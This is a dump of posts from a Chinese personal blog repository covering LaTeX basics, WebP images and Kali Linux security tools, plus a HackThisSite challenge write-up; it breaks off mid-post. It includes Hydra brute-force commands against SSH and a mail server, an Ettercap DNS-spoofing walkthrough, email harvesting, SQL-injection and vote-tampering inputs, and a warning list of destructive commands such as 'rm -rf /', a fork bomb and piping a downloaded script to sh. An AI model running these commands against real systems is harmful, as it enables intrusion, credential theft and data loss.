\begin{equation} 43 | f(x) = x^2 44 | \end{equation} 45 | 46 | \end{document} 47 | {% endhighlight %} 48 | 49 | 生成的pdf: 50 | 51 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-27 at 17.28.10.png) 52 | 53 | 上面代码在数学公式后加了一个编号,这个编号是默认自动生成的,它不能移除。但是你可以使用amsmath包把它移除,代码如下: 54 | 55 | {% highlight tex %} 56 | \documentclass{article} 57 | 58 | \usepackage{amsmath} 59 | 60 | \begin{document} 61 | 62 | \begin{equation*} 63 | f(x) = x^2 64 | \end{equation*} 65 | 66 | \end{document} 67 | {% endhighlight %} 68 | 69 | 现在我们得到了和前面一样的输出,只是数字被移除了: 70 | 71 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-27 at 19.52.42.png) 72 | 73 | ******* 74 | 75 | 包还可以提供图像、链接和参考文献等等功能。 -------------------------------------------------------------------------------- /_posts/2016-3-27-c-latex-doc-section-part.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程3:添加段落和章节 4 | --- 5 | 6 | 在上一篇教程中,我们创建了一个基本的文档,本文将为文档添加段落和章节。为了实现它,使用LaTeX提供的段落标题命令: 7 | 8 | {% highlight tex %} 9 | \section{} 10 | \subsection{} 11 | \subsubsection{} 12 | 13 | \paragraph{} 14 | \subparagraph{} 15 | {% endhighlight %} 16 | 17 | **示例:标题和子标题** 18 | 19 | 在上一个教程的基础上添加: 20 | 21 | {% highlight tex %} 22 | \documentclass{article} 23 | 24 | \begin{document} 25 | 26 | \section{Hello} 27 | 28 | Hello World! 29 | 30 | \subsection{Sub Hello} 31 | 32 | Hello M! 33 | 34 | \end{document} 35 | {% endhighlight %} 36 | 37 | 标题会自动添加数字编码,效果如下: 38 | 39 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-27 at 16.13.11.png) 40 | 41 | 第二个例子: 42 | 43 | {% highlight tex %} 44 | \documentclass{article} 45 | 46 | \begin{document} 47 | 48 | \section{Hello} 49 | 50 | Hello World! 51 | 52 | \subsection{Sub Hello} 53 | 54 | Hello Earth! 55 | 56 | \subsubsection{Sub Sub Hello} 57 | 58 | Hello Me! 59 | 60 | \paragraph{Paragraph} 61 | 62 | babalalala 63 | 64 | \subparagraph{Sub Paragraph} 65 | 66 | more balabalabala 67 | 68 | \section{World} 69 | 70 | \end{document} 71 | {% endhighlight %} 72 | 73 | 生成的pdf: 74 | 75 | ![Latex]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-27 at 16.23.29.png) 76 | 77 | 使用LaTeX组织文档结构非常简单,很多人使用"MS Word"都做不好。 78 | 79 | 总结: 80 | 81 | * LaTeX创建段落的命令:**\section、\subsection、\subsubsection** 82 | * section段落标题前使用连续的数字做为章节号,并出现在目录中 83 | * paragraph不使用数字标示,也不会出现在目录中 84 | 85 | 在下一节的教程中,我简单介绍一下package(包),并为数学公式排版,这也是LaTeX突出的地方。 -------------------------------------------------------------------------------- /_posts/2016-5-10-metasploit-search-email-collector.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用Metasploit收集邮箱信息 4 | --- 5 | 6 | 关于Metasploit的另两个帖子: 7 | 8 | * [演示使用Metasploit入侵Windows](http://topspeedsnail.com/kali-linux-n-hack-windows-xp/) 9 | * [演示使用Metasploit入侵Android](http://topspeedsnail.com/kali-linux-metasploit-hack-android/) 10 | 11 | Metasploit提供了很多辅助的模块,非常实用。今天介绍一个叫search_email_collector的模块,它的功能是查找搜索引擎(google、bing、yahoo),收集和某个域名有关的邮箱地址。 12 | 13 | ### 使用步骤: 14 | 15 | 启动msfconsole: 16 | 17 | {% highlight shell %} 18 | # service postgresql start 19 | # msfconsole 20 | {% endhighlight %} 21 | 22 | 搜索模块: 23 | 24 | ``` 25 | msf > search gather auxiliary 26 | ``` 27 | 28 | 找到search_email_collector: 29 | 30 | ![使用Metasploit收集邮箱信息]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-12 at 11.17.28.png) 31 | 32 | 使用search_email_collector: 33 | 34 | ``` 35 | msf > use auxiliary/gather/search_email_collector 36 | ``` 37 | 38 | ![使用Metasploit收集邮箱信息]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-12 at 11.21.00.png) 39 | 40 | 注:如果你不能使用google搜素,把SEARCH_GOOGLE设置为false: 41 | 42 | ``` 43 | > set SEARCH_GOOGLE false 44 | ``` 45 | 46 | 要收集某个域名的邮箱信息: 47 | 48 | ``` 49 | > set DOMAIN your_target.com 50 | ``` 51 | 52 | 开始收集: 53 | 54 | ``` 55 | > run 56 | ``` 57 | 58 | 由于使用搜索引擎,所以并不保证100%可靠。 59 | 60 | 黑客可以利用这些信息进行网络钓鱼,骗取个人信息。其实这种攻击是社会工程学攻击中最不危险的一种。 61 | 62 | 类似的工具还有theharvester: 63 | 64 | ``` 65 | # theharvester 66 | # theharvester -d microsoft.com -l 500 -b google -h myresults.html 67 | # theharvester -d microsoft.com -b pgp 68 | # theharvester -d microsoft -l 200 -b linkedin 69 | # theharvester -d apple.com -b googleCSE -l 500 -s 300 70 | ``` -------------------------------------------------------------------------------- /_posts/2016-5-18-DNS-spoofing-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 演示DNS欺骗攻击 4 | --- 5 | 6 | DNS欺骗攻击基于[中间人攻击](http://topspeedsnail.com/kali-linux-preform-man-in-middle-attack/)。攻击者更改受害者从DNS服务器查询的域名解析结果,给受害者发送恶意网页或钓鱼网页-浏览器依然显示正常的url。 7 | 8 | 本帖介绍怎么使用Ettercap施行DNS欺骗攻击,实现受害者访问任何网站都转向到攻击者指定的网站。 9 | 10 | ### 情形描述 11 | 12 | * 同一局域网内 13 | * 受害者IP:192.168.0.106 14 | * 攻击者系统Kali Linux,IP地址:192.168.0.108 15 | 16 | ## 创建恶搞网站 17 | 18 | 在Kali Linux上创建恶搞网站。 19 | 20 | **启动Apache:** 21 | 22 | {% highlight shell %} 23 | # service apache2 start 24 | {% endhighlight %} 25 | 26 | **创建恶搞网页:** 27 | 28 | {% highlight shell %} 29 | # vim /var/www/html/index.html 30 | {% endhighlight %} 31 | 32 | **写入内容:** 33 | 34 | ``` 35 |

You Got Fucked!

36 | ``` 37 | 38 | 你可以测试一下(http://192.168.0.108),看看Web是否可以正常提供服务。 39 | 40 | ## DNS欺骗攻击 41 | 42 | 编辑文件: 43 | 44 | {% highlight shell %} 45 | # vim /etc/ettercap/etter.dns 46 | {% endhighlight %} 47 | 48 | 在文件中添加一行: 49 | 50 | ``` 51 | * A 192.168.0.108 52 | ``` 53 | 54 | 所有域名查询都解析为Kali Linux的IP地址。 55 | 56 | DNS欺骗/ARP欺骗: 57 | 58 | {% highlight shell %} 59 | # ettercap -i wlan0 -T -P dns_spoof -M arp /192.168.0.106/// 60 | {% endhighlight %} 61 | 62 | ![演示DNS欺骗攻击]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-18 18-37-15.png) 63 | 64 | ## 测试 65 | 66 | 受害者访问网站: 67 | 68 | ![演示DNS欺骗攻击]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-18 at 18.42.13.png) 69 | 70 | 注意:地址栏的URL并没有变 71 | 72 | 你也可以使用nslookup命令查询DNS解析结果: 73 | 74 | ``` 75 | nslookup www.baidu.com 76 | ``` 77 | 78 | *** 79 | 80 | Kali Linux中另一个执行这种攻击的工具:dnsspoof。 81 | 82 | {% highlight shell %} 83 | # man dnsspoof 84 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-5-17-use-sslscan-get-ssl-info.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用sslscan获得SSL/TLS信息 4 | --- 5 | 6 | SSLscan主要探测基于ssl的服务,如https。SSLscan是一款探测目标服务器所支持的SSL加密算法工具。 7 | 8 | SSlscan的代码托管在[Github](https://github.com/DinoTools/sslscan) 9 | 10 | > SSLScan queries SSL services, such as HTTPS, in order to determine the ciphers that are supported. SSLScan is designed to be easy, lean and fast. The output includes preferred ciphers of the SSL service, the certificate and is in Text and XML formats. 11 | 12 | 使用HTTPS可以防止中间人攻击,但是只有当配置正确并使用强加密才行。 13 | 14 | 关于SSL协议的漏洞也爆出了不少。 15 | 16 | **使用示例:** 17 | 18 | {% highlight shell %} 19 | # sslscan your_target 20 | {% endhighlight %} 21 | 22 | ![使用sslscan获得SSL/TLS信息]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-18 at 09.25.10.png) 23 | 24 | Heartbleed是TLS实现上的一个漏洞,2014年4月爆出。更多信息: 25 | 26 | ![使用sslscan获得SSL/TLS信息]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-18 at 09.28.41.png) 27 | 28 | 上图显示服务器支持的加密算法,红字认为是不那么安全的加密算法,黄字中等安全。 29 | 30 | ![使用sslscan获得SSL/TLS信息]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-18 at 09.32.57.png) 31 | 32 | SSL证书信息,RSA key的长度建议是2048 bit。 33 | 34 | *** 35 | 36 | Kali Linux中还有一个叫SSLyze的工具,配合sslscan获得更多信息: 37 | 38 | {% highlight shell %} 39 | # sslyze --regular your_target 40 | {% endhighlight %} 41 | 42 | SSL/TLS信息也可以用OpenSSL命令获得: 43 | 44 | {% highlight shell %} 45 | # openssl s_client -connect your_target:443 46 | {% endhighlight %} 47 | 48 | **** 49 | 50 | 基于sslscan的工具:TLSSLed 51 | 52 | 它是一个Linux shell脚本,它的功能是测试目标SSL/TLS(HTTPS)WEB 服务器的安全性。 53 | 54 | {% highlight shell %} 55 | # tlssled your_target 443 56 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-4-16-kydra-crack-ssh-and-avoid-attack.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用Hydra通过ssh破解密码 4 | --- 5 | 6 | Hydra是非常高效的网络登录破解工具,它可以对多种服务程序执行[暴力破解](http://topspeedsnail.com/hack-brute-force/)(SSH、VNC等等)。 7 | 8 | 防止这种攻击其实很容易,方法很多。以SSH为例: 9 | 10 | * [Ubuntu:使用Port Knocking隐藏SSH端口](http://blog.topspeedsnail.com/archives/3936) 11 | * [在Ubuntu中用Fail2Ban保护SSH](http://blog.topspeedsnail.com/archives/262) 12 | * [CentOS 7安装使用Fail2Ban保护SSH](http://blog.topspeedsnail.com/archives/3119) 13 | * [Debian使用Fail2Ban和Tinyhoneypot增加网络安全](http://blog.topspeedsnail.com/archives/3667) 14 | 15 | ***** 16 | 17 | Kail Linux有一个的GUI版本:xhydra,也有一个命令行版本:hydra。 18 | 19 | xhydra: 20 | 21 | ![xhydra]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-16 10-26-48.png) 22 | 23 | hydra: 24 | 25 | ![hydra]({{ site.baseurl }}/images/2016/4/Screenshot from 2016-04-16 10-28-41.png) 26 | 27 | 我使用命令行版本:hydra 28 | 29 | ### 字典 30 | 31 | 这种攻击需要字典文件,一个好的字典至关重要。我以Kali Linux自带的rockyou字典为例,位于/user/share/wordlists/rockyou.txt.gz。 32 | 33 | 使用前先解压: 34 | 35 | {% highlight shell %} 36 | # gzip -d /usr/share/wordlists/rockyou.txt.gz 37 | {% endhighlight %} 38 | 39 | ### 使用nmap扫描开启SSH服务的主机 40 | 41 | 扫描SSH服务(22端口),确定可以施行破解的主机。 42 | 43 | {% highlight shell %} 44 | # nmap -p 22 -open -sV one_IP_or_range_or_subnet > MyTarget 45 | {% endhighlight %} 46 | 47 | ### 使用hydra暴力破解 48 | 49 | {% highlight shell %} 50 | # hydra -s 22 -v -l root -P /usr/share/wordlists/rockyou.txt 192.168.0.108 ssh 51 | {% endhighlight %} 52 | 53 | **** 54 | 55 | 破解邮箱密码: 56 | 57 | ``` 58 | # hydra -S -l test@163.com -P /usr/share/wordlists/rockyou.txt -e ns -V -s 465 -t 1 smtp.163.com smtp 59 | ``` 60 | 61 | 更多选项,查看man hydra。 -------------------------------------------------------------------------------- /_posts/2016-3-27-a-learn-LaTeX-install-.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: LaTeX简要教程1:安装texlive 4 | --- 5 | 6 | LaTeX编辑器有很多,你可以自由选择。你也可以使用在线编辑器 。但是,为了教程的目的,我只使用Linux上的texlive软件包做为编译工具。 7 | 8 | > LaTeX是一种基于TeX的排版系统,它能够在几天,甚至几小时内生成很多具有书籍质量的印刷品。对于生成复杂表格和数学公式,这一点表现得尤为突出。因此它非常适用于生成高印刷质量的科技和数学类文档。这个系统同样适用于生成从简单的信件到完整书籍的所有其他种类的文档。 9 | 10 | 我使用的是Ubuntu系统。安装texlive,执行: 11 | 12 | {% highlight shell %} 13 | $ sudo apt-get install texlive 14 | {% endhighlight %} 15 | 16 | 然后就可以用命令行工具pdflatex编译**.tex**文件,tex文件可以用任意文本编辑器创建,我使用vim。 17 | 18 | > 如果你使用Windows,可以安装MiKTeX。 19 | > 20 | > 如果你使用Mac OS X,可以安装MacTeX。 21 | 22 | ### 测试LaTex:Hello World! 23 | 24 | 创建文件**hello.tex**: 25 | 26 | {% highlight shell %} 27 | $ vim hello.tex 28 | {% endhighlight %} 29 | 30 | 写入如下内容: 31 | 32 | {% highlight tex %} 33 | \documentclass{article} 34 | 35 | \begin{document} 36 | Hello World! 37 | \end{document} 38 | {% endhighlight %} 39 | 40 | 编译hello.tex: 41 | 42 | {% highlight shell %} 43 | $ pdflatex hello.tex 44 | {% endhighlight %} 45 | 46 | 查看生成的pdf文档: 47 | 48 | ![Latex hello world]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-27 at 09.48.14.png) 49 | 50 | ***** 51 | 52 | **问:pdflatex不支持中文,怎么办?** 53 | 54 | 安装texlive的完全体: 55 | 56 | {% highlight shell %} 57 | $ sudo apt-get install texlive-full 58 | {% endhighlight %} 59 | 60 | 需要2G多硬盘空间。 61 | 62 | 代码: 63 | 64 | {% highlight tex %} 65 | \documentclass{article} 66 | \usepackage{CJKutf8} 67 | 68 | \begin{document} 69 | \begin{CJK*}{UTF8}{gbsn} 70 | 你好 死戒! 71 | \end{CJK*} 72 | \end{document} 73 | {% endhighlight %} 74 | 75 | 来自:http://tex.stackexchange.com/questions/107898/type-chinese-in-tex-compiled-with-latex -------------------------------------------------------------------------------- /_posts/2016-5-15-use-nikto-scan-vulnerabilities.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用Nikto扫描网站漏洞 4 | --- 5 | 6 | Nikto是一个扫描Web服务漏洞的一个工具,也是使用最广泛的扫描工具之一。 7 | 8 | [Nikto](https://cirt.net/Nikto2)在它网站上的描述: 9 | 10 | > Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated. 11 | 12 | **扫描的内容包括:** 13 | 14 | * 服务器错误配置 15 | * 默认文件和程序 16 | * 不安全的文件和程序 17 | * 过期程序 18 | 19 | **使用示例:** 20 | 21 | {% highlight shell %} 22 | # nikto -h http://your_target.com -o result.html 23 | {% endhighlight %} 24 | 25 | ![使用Nikto扫描网站漏洞]({{ site.baseurl }}/images/2016/5/Screen Shot 2016-05-17 at 15.51.32.png) 26 | 27 | -h参数指定要扫描的主机;-o指定把扫描结果保存到result.html文件中,输出格式也可以是CSV、TXT和XML。 28 | 29 | 它将会用不少时间扫描,扫描完成之后查看result.html文件: 30 | 31 | ![使用Nikto扫描网站漏洞]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-17 15-54-07.png) 32 | 33 | **** 34 | 35 | **更多常用选项:** 36 | 37 | * -config:使用自定义的配置文件扫描 38 | * -update:升级插件数据库 39 | * -Format:输出结果文件类型,它可以是CSV、HTML、NBE、SQL、TXT、XML。CSV和XML通常可以做为其他工具的输入 40 | * -evasion:指定使用一些加密技术,避免被防火墙或其他防卫系统检测到 41 | * -list-plugins:列出可用的插件 42 | * -Plugins:指定使用的插件,默认使用所有插件 43 | * -port:如果Web服务器没有使用标准的端口(80 443),你可能需要用到这个选项 44 | 45 | **更多信息查看man:** 46 | 47 | {% highlight shell %} 48 | # man nikto 49 | {% endhighlight %} -------------------------------------------------------------------------------- /_posts/2016-3-22-Linux-most-dangerous-cmd.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Linux上最危险的8个命令 4 | --- 5 | 6 | Linux命令是很强大、高效的。但是有时侯执行一些命令要非常小心,尤其是,当你不知道自己在干什么的情况下。 7 | 8 | 这篇文件总结了8个可能让人悲剧的10个命令。这些命令在执行之前,一定要再三确认,一不小心就会让你追悔莫及。 9 | 10 | ### #1) rm -rf 11 | 12 | `rm -rf`是删除目录最快的方法,如果使用桌面环境(右键->删除)删除一个零碎目录需要很长时间。但是一个小小的打字错误,有可能对你的系统造成不可恢复的破坏。例如下面这条命令: 13 | 14 | {% highlight shell %} 15 | # rm -rf / 16 | {% endhighlight %} 17 | 18 | 上面这条命令需要系统管理员权限,这也是不建议使用root用户登录系统的原因之一。 19 | 20 | rm常用选项: 21 | 22 | * **rm**:删除文件 23 | * **rm -r**:递归的删除目录,包括空目录 24 | * **rm -f**:直接删除文件,不询问 25 | * **rm -rf /**:直接根(root)目录,不询问 26 | * **rm -rf \***:删除当前目录的所有东西,不询问 27 | * **rm -rf**:删除当前目录和子目录,不询问 28 | 29 | 在执行`rm -rf`一定要小心。为了防止`rm`命令意外删除文件或目录,可以为`rm`创建一个别名`rm -i`,每次都需要确认删除。 30 | 31 | ### #2) :(){:|:&};: 32 | 33 | 上面这个命令就是所谓的fork炸弹。执行上面代码会耗尽系统资源而崩溃。更多关于fork炸弹的信息看这里:[Linux:怎么防止fork炸弹攻击](http://blog.topspeedsnail.com/archives/2757)。 34 | 35 | ### #3) cmd > /dev/sda 36 | 37 | cmd代表一个命令,`cmd > /dev/sda`把cmd命令的输出写到了`/dev/sda`块设备上,会导致`/dev/sda`块设备数据的全部丢失。 38 | 39 | ### #4) mv 目录 /dev/null 40 | 41 | 上面命令会把目录移动到`/dev/null`。在Linux中, /dev/null是一个特殊的设备文件,有人把它叫做黑洞。 42 | 43 | {% highlight shell %} 44 | # mv /home/* /dev/null 45 | {% endhighlight %} 46 | 47 | 上面命令相当于: 48 | 49 | {% highlight shell %} 50 | # rm -rf /home/* 51 | {% endhighlight %} 52 | 53 | ### #5) wget http://怀有恶意脚本的url -O- | sh 54 | 55 | 上面这条命令在安装软件或系统环境时总用到,它从url下载脚本,下载完成之后自动执行脚本。不要对不信任的url执行上面这个命令。 56 | 57 | ### #6) mkfs.ext3 /dev/sda 58 | 59 | 上面命令是格式化命令,执行完之后硬盘数据全部清空。 60 | 61 | ### #7) > file 62 | 63 | `> file`命令会把文件中的数据全部清空。 64 | 65 | ### #8) dd if=/dev/random of=/dev/sda 66 | 67 | 上面命令向sda设备中写入随机数据,这是不可恢复的。 68 | 69 | 如果一个命令你不知道是干嘛的,不要盲目执行,可以先使用man查询一下。如果你有因为执行错误命令而导致系统崩溃的经历,欢迎留言。 -------------------------------------------------------------------------------- /_posts/2016-4-16-kali-linux-enable-ssh-server.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux安装SSH Server 4 | --- 5 | 6 | Kali Linux默认并没有安装SSH服务,为了实现远程登录Kali Linux,我们需要安装SSH服务。 7 | 8 | ### 安装 OpenSSH Server 9 | 10 | {% highlight shell %} 11 | # apt-get install openssh-server 12 | {% endhighlight %} 13 | 14 | ### 配置SSH服务开机启动 15 | 16 | {% highlight shell %} 17 | # update-rc.d -f ssh remove 18 | # update-rc.d -f ssh defaults 19 | # update-rc.d -f ssh enable 2 3 4 5 20 | {% endhighlight %} 21 | 22 | ### 更改默认的SSH密钥 23 | 24 | 由于每个Linux系统都使用相似的密钥,为了提高系统安全,我们更改默认的SSH密钥。 25 | 26 | 备份原始密钥: 27 | 28 | {% highlight shell %} 29 | # cd /etc/ssh 30 | # mkdir ssh_key_backup 31 | # mv ssh_host_* ssh_key_backup 32 | {% endhighlight %} 33 | 34 | 创建新密钥: 35 | 36 | {% highlight shell %} 37 | # dpkg-reconfigure openssh-server 38 | {% endhighlight %} 39 | 40 | ### 允许root用户使用ssh远程登录 41 | 42 | 默认下,不允许使用root用户进行ssh远程登录,需要改一下ssh的配置文件: 43 | 44 | {% highlight shell %} 45 | # vim /etc/ssh/sshd_config 46 | {% endhighlight %} 47 | 48 | 把: 49 | 50 | ``` 51 | PermitRootLogin prohibit-password 52 | ``` 53 | 54 | 改为: 55 | 56 | ``` 57 | PermitRootLogin yes 58 | 59 | ``` 60 | 61 | 重启SSH: 62 | 63 | {% highlight shell %} 64 | # service ssh restart 65 | {% endhighlight %} 66 | 67 | ### 使用其他计算机远程登录 68 | 69 | ![ssh]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-16 at 09.39.29.png) 70 | 71 | OK,SSH服务设置完成。 72 | 73 | 从上图可以看到,登录成功之后,会有一些问候信息 balabala。这些文字信息是可以自定义的: 74 | 75 | {% highlight shell %} 76 | # vim /etc/motd 77 | {% endhighlight %} 78 | 79 | 写入你想要的问候文字。 80 | 81 | 重启SSH: 82 | 83 | {% highlight shell %} 84 | # service ssh restart 85 | {% endhighlight %} 86 | 87 | ![ssh]({{ site.baseurl }}/images/2016/4/Screen Shot 2016-04-16 at 09.48.47.png) -------------------------------------------------------------------------------- /_posts/2016-3-23-intro-image-webp-format.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用WebP图像格式 4 | --- 5 | 6 | WebP,它的非官方发音*web屁*。它是google在5年前开发的一种图像格式,主要面向web。如果你是web设计人员或软件开发人员,并且需要优化减少图片大小,那么WebP是最好的选择。 7 | 8 | WebP图像格式的特点总结如下: 9 | 10 | * WebP图像文件的扩展名是 **_.webp_** 11 | * WebP支持无损和有损压缩 12 | * WebP无损压缩图像可以比JPEG图像格式小25-34% 13 | * WebP有损压缩图像可以比png图像格式小25%。 14 | * WebP支持透明度,alpha 15 | * WebP支持动画,GIF动态图 16 | 17 | 总而言之,和JPEG,GIF,PNG格式相比,WebP可以显著的减少图像文件大小,这也是WebP非常适合应用在web上的原因(它节省了带宽,提高网页加载速度)。 18 | 19 | 下面我对几种常用图像进行了对比,实际看一下WebP的优势。 20 | 21 | ### 一个小对比实验 22 | 23 | 比较JPEG,PNG和GIF图像转换为WebP图像,文件大小对比。 24 | 25 | 随便找一个JPEG图像。原始文件大小2.2M。 26 | 27 | ![jpeg pic]({{ site.baseurl }}/images/2016/3/8fffa491jw1f2rdfughnkj21000qoth9.jpg) 28 | 29 | 使用转换工具转换,这里有几个工具:[转换WebP工具](http://blog.topspeedsnail.com/archives/4032)。 30 | 31 | 转换完成的webp图像,大小965k。 32 | 33 | ### 览器的支持 34 | 35 | ![webp 浏览器支持]({{ site.baseurl }}/images/2016/3/Screen Shot 2016-03-23 at 15.48.12.png) 36 | 37 | 浏览器Chrome对webp的支持最好,毕竟是google自家的东西。FireFox和Safari还不支持webp,但是你可以使用 [WebPJS](http://webpjs.appspot.com/) JavaScript库把WebP转换为data URI。 38 | 39 | ### 判断,如果浏览器不支持webp格式,转用jpg/png格式 40 | 41 | 为了避免浏览器因为不支持webp而造成的图片加载错误,可以进行一下判断,代码如下: 42 | 43 | {% highlight html %} 44 | 45 | source srcset="example.webp 1x" type="image/webp"> 46 | 47 | 48 | {% endhighlight %} 49 | 50 | 如果使用的是Firefox或Safari,会加载example.jpg。 51 | 52 | > 更多资源 53 | > 54 | > Photoshop webp插件:[WebPFormat](http://telegraphics.com.au/sw/product/WebPFormat) 55 | > 56 | > WebP图像浏览器:[Mac OS X](https://github.com/emin/WebPQuickLook),[Windows](https://developers.google.com/speed/webp/docs/webp_codec?hl=en) 57 | > 58 | > [webp在线转换工具](http://image.online-convert.com/convert-to-webp) -------------------------------------------------------------------------------- /hackthissite/Realistic.md: -------------------------------------------------------------------------------- 1 | ### [Uncle Arnold's Local Band Review](https://www.hackthissite.org/playlevel/1/) 2 | 3 | **问题描述:** 4 | 5 | 一个傻叉乐队的头头:hi,哥们,我需要你的帮忙。是这样的,我以前和别人打了一个500刀的赌,如果我的乐队能在年终排到[这个网站](https://www.hackthissite.org/missions/realistic/1/)的第一位我就赢了。问题是我有两个乐队成员出了车祸挂掉了,并且那个混蛋还坚持要赌,What an asshole。 6 | 7 | 我知道你精通计算机,你看你能不能帮我赢这个赌,让我乐队的名字排到第1,乐队名字是Raging Inferno。 8 | 9 | **解答:** 10 | 11 | 查看网页源代码,你可以看到vote表单使用v.php。这意味这你可以直接更改rating。 12 | 13 | ![band](https://github.com/tiancode/learn-hacking/blob/master/hackthissite/image/Screen%20Shot%202016-05-10%20at%2019.49.18.png) 14 | 15 | 直接访问下面网址更改投票数: 16 | 17 | ``` 18 | https://www.hackthissite.org/missions/realistic/1/v.php?PHPSESSID=abcaeadfc31a5c43b2534bf995c0553f&id=3&vote=777 19 | ``` 20 | 21 | *** 22 | 23 | ### [Chicago American Nazi Party](https://www.hackthissite.org/playlevel/2/) 24 | 25 | **问题描述:** 26 | 27 | 有一个种族歧视的[网站](https://www.hackthissite.org/missions/realistic/2/),非常恶心。你的任务是黑进管理员用户并更改主页信息。 28 | 29 | **解答:** 30 | 31 | 其实网页在底部隐藏了一个链接(链接颜色和背景相同),通过查看网页源代码可以获知: 32 | 33 | ![hei](https://github.com/tiancode/learn-hacking/blob/master/hackthissite/image/Screen%20Shot%202016-05-10%20at%2020.14.50.png) 34 | 35 | 网址是: 36 | 37 | ``` 38 | https://www.hackthissite.org/missions/realistic/2/update.php 39 | ``` 40 | 41 | 需要你输入密码: 42 | 43 | ![hei](https://github.com/tiancode/learn-hacking/blob/master/hackthissite/image/Screen%20Shot%202016-05-10%20at%2020.17.59.png) 44 | 45 | 这个密码怎么破解呢? 46 | 47 | 使用SQL注入,如果你不知道神马是SQL注入:看: 48 | 49 | 在用户名和密码框中输入:' or 1=1-- 50 | 51 | *** 52 | 53 | ### [Peace Poetry: HACKED](https://www.hackthissite.org/playlevel/3/) 54 | 55 | **问题描述:** 56 | -------------------------------------------------------------------------------- /_posts/2016-5-16-use-w3af-scan-website-vulnerability.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: 使用w3af扫描网站漏洞 4 | --- 5 | 6 | W3af是Web Application Audit和Attack Framework的简写。它是开源的基于Python的Web漏洞扫描工具。 7 | 8 | w3af有GUI版本也有命令行版本,功能都一样。本帖分别介绍怎么使用这两个不同版本扫描网站漏洞。 9 | 10 | ## w3af GUI版本 11 | 12 | 启动W3af: 13 | 14 | {% highlight shell %} 15 | # w3af_gui 16 | {% endhighlight %} 17 | 18 | 在Profiles窗口中选择full_audit。就是配置使用哪些插件。 19 | 20 | 在plugins窗口中,打开crawl,勾选其中的web_spider,并勾选only_forward选项。 21 | 22 | ![使用w3af扫描网站漏洞]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-17 17-27-19.png) 23 | 24 | 告诉W3af生成html格式的结果,在output窗口中勾选html_file。 25 | 26 | ![使用w3af扫描网站漏洞]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-17 17-31-13.png) 27 | 28 | 在Target输入框中输入目标地址,点击Start开始扫描: 29 | 30 | ![使用w3af扫描网站漏洞]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-17 17-34-15.png) 31 | 32 | 扫描完成之后,切换到Results窗口查看扫描到的漏洞,或查看~/resule.html文件: 33 | 34 | ![使用w3af扫描网站漏洞]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-17 17-50-02.png) 35 | 36 | SQL注入攻击参考: 37 | 38 | * [使用sqlmap执行SQL注入攻击](http://topspeedsnail.com/sqlmap-injection-learn/) 39 | 40 | ## w3af命令行版本 41 | 42 | w3af GUI版本并不稳定,我在执行上面扫描时卡死了两次。我建议使用命令行版本。 43 | 44 | w3af的命令行版本和GUI版本功能完全一样,上面扫描用命令行: 45 | 46 | {% highlight shell %} 47 | # w3af_console 48 | >>> profiles 49 | >>> use full_audit 50 | >>> back 51 | >>> plugins 52 | >>> output config html_file 53 | >>> set output_file /root/result.html 54 | >>> save 55 | >>> back 56 | >>> crawl config web_spider 57 | >>> set only_forward True 58 | >>> save 59 | >>> back 60 | >>> back 61 | >>> target 62 | >>> set target http://your_target.com 63 | >>> save 64 | >>> back 65 | >>> start 66 | {% endhighlight %} 67 | 68 | ![使用w3af扫描网站漏洞]({{ site.baseurl }}/images/2016/5/Screenshot from 2016-05-17 17-59-23.png) -------------------------------------------------------------------------------- /_posts/2016-4-4-John-the-Ripper-learn.md: -------------------------------------------------------------------------------- 1 | --- 2 | layout: post 3 | title: Kali Linux:使用John the Ripper破解密码 4 | --- 5 | 6 | > John the Ripper免费的开源软件,是一个快速的密码破解工具,用于在已知密文的情况下尝试破解出明文的破解密码软件,支持目前大多数的加密算法,如DES、MD4、MD5等。它支持多种不同类型的系统架构,包括Unix、Linux、Windows、DOS模式、BeOS和OpenVMS,主要目的是破解不够牢固的Unix/Linux系统密码。 7 | 8 | John the Ripper支持字典破解方式和暴力破解方式。 9 | 10 | 下面,我以破解Linux用户密码为例进行简单说明。 11 | 12 | 破解Linux用户密码需要使用到两个文件(包含用户的信息和密码hash值): 13 | 14 | ``` 15 | /etc/passwd 16 | /etc/shadow 17 | ``` 18 | 19 | ## 创建一个测试用户-我们就来破解这个用户密码 20 | 21 | 添加一个用户test,并把密码设置为password。 22 | 23 | 创建新用户test: 24 | 25 | {% highlight shell %} 